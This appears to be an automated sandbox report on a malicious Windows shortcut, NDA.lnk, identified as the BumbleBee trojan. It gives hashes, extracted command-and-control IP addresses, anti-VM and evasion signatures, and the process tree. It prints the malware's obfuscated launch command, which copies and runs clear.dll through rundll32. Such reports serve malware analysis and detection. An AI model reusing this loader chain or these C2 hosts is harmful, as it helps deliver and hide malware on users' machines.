Overview

overview

10

Static

static

NDA.lnk

windows7-x64

10

NDA.lnk

windows10-2004-x64

10

clear.dll

windows7-x64

3

clear.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    123s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2022 16:14

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General

  • Target

    NDA.lnk

  • Size

    1KB

  • MD5

    fdc406b3cd7bdcbc6353cd24613136d0

  • SHA1

    fdbd4e1724ee0c44856e634d7c4eef797eced829

  • SHA256

    3d2f1bbad8936c9f555642b7ab2af20a6dfaae047378d352989b8d9d5d5efad4

  • SHA512

    1148b23b1ba84d997653b53552f3008e8cca9c29a93c24cb3ea6f7c03a962ac3a96772504406fd2e733f0ae05d2f0871a2a109e3a76a8ebe9cae91cb93b639a5

Score
10/10
bumblebee0310evasiontrojan

Malware Config

Extracted

Family

bumblebee

Botnet

0310

C2

146.59.117.200:443

192.255.188.11:443

149.3.170.62:443
rc4.plain

Signatures

  • BumbleBee

    BumbleBee is a webshell malware written in C++.

    trojanbumblebee
  • Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 1 IoCs
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NDA.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b /min xco^py /y C:\Windows\System32\rund*.exe c:\programdata && start /b /min xco^py /h /y cl^ear^.dll c:\programdata && cd c:\programdata && timeout 1 && start /b /min r^u^ndll32.exe clear.dll,runprog && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Windows\system32\xcopy.exe
        xcopy /y C:\Windows\System32\rund*.exe c:\programdata
        3⤵
          PID:2220
        • C:\Windows\system32\xcopy.exe
          xcopy /h /y clear.dll c:\programdata
          3⤵
            PID:2496
          • C:\Windows\system32\timeout.exe
            timeout 1
            3⤵
            • Delays execution with timeout.exe
            PID:5072
          • \??\c:\ProgramData\rundll32.exe
            rundll32.exe clear.dll,runprog
            3⤵
            • Enumerates VirtualBox registry keys
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Looks for VirtualBox Guest Additions in registry
            • Executes dropped EXE
            • Checks BIOS information in registry
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:3560

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\clear.dll
        Filesize

        2.8MB

        MD5

        c04feb8231da5188c2fd829a04b08c80

        SHA1

        a70ebd8d5ae4a926f1227364c014be27e08fd8a0

        SHA256

        231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

        SHA512

        eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

        Download Submit

      • C:\ProgramData\rundll32.exe
        Filesize

        70KB

        MD5

        ef3179d498793bf4234f708d3be28633

        SHA1

        dd399ae46303343f9f0da189aee11c67bd868222

        SHA256

        b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa

        SHA512

        02aff154762d7e53e37754f878ce6aa3f4df5a1eb167e27f13d9762dced32bec892bfa3f3314e3c6dce5998f7d3c400d7d0314b9326eedcab72207c60b3d332e

        Download Submit

      • \??\c:\ProgramData\clear.dll
        Filesize

        2.8MB

        MD5

        c04feb8231da5188c2fd829a04b08c80

        SHA1

        a70ebd8d5ae4a926f1227364c014be27e08fd8a0

        SHA256

        231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

        SHA512

        eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

        Download Submit

      • \??\c:\ProgramData\rundll32.exe
        Filesize

        70KB

        MD5

        ef3179d498793bf4234f708d3be28633

        SHA1

        dd399ae46303343f9f0da189aee11c67bd868222

        SHA256

        b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa

        SHA512

        02aff154762d7e53e37754f878ce6aa3f4df5a1eb167e27f13d9762dced32bec892bfa3f3314e3c6dce5998f7d3c400d7d0314b9326eedcab72207c60b3d332e

        Download Submit

      • memory/3560-141-0x000002AB0BBF0000-0x000002AB0BD43000-memory.dmp

        Filesize

        1.3MB

        Download